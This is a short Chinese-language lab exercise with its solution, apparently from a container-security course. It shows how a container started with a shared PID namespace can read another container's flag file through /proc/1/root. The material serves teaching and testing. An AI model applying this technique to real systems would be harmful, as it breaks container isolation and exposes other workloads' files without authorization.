作業 12 題目 : 透過以下指令建立容器,透過 nc 連到目標容器後,想辦法利用這次學習到的特性取得其他容器的 flag 檔案資訊。
docker run -d -it --rm --name flag aeifkz/my-ubuntu:v1.0 bash ;
#意思產生一個 flag 檔案
echo "ZmxhZ3toYWNrZXIgaGF0ZSBEaXN0cm9sZXNzfQo=" | base64 -d > flag.txt ;
docker cp flag.txt flag:/ ;
rm flag.txt ;
docker run -d --rm --name target -p 30089:30089 --pid container:flag aeifkz/my-ubuntu:v1.0 ;
# 開始解題
docker exec -it target bash ;
解答 : 稍微觀察一下會發現這個容器可能有掛載其他容器的 pid 進來,透過 /proc/1/root 就可以存取到該容器的檔案系統。
# 會看到有多個 process 在執行,感覺可能是掛別的容器的 pid
ps aux ;
# 偷看一下裡面的檔案
cd /proc/1/root ;
ls -al ;
# flag{hacker hate Distroless},雖然這題跟 Distroless 沒甚麼關聯
cat flag.txt ;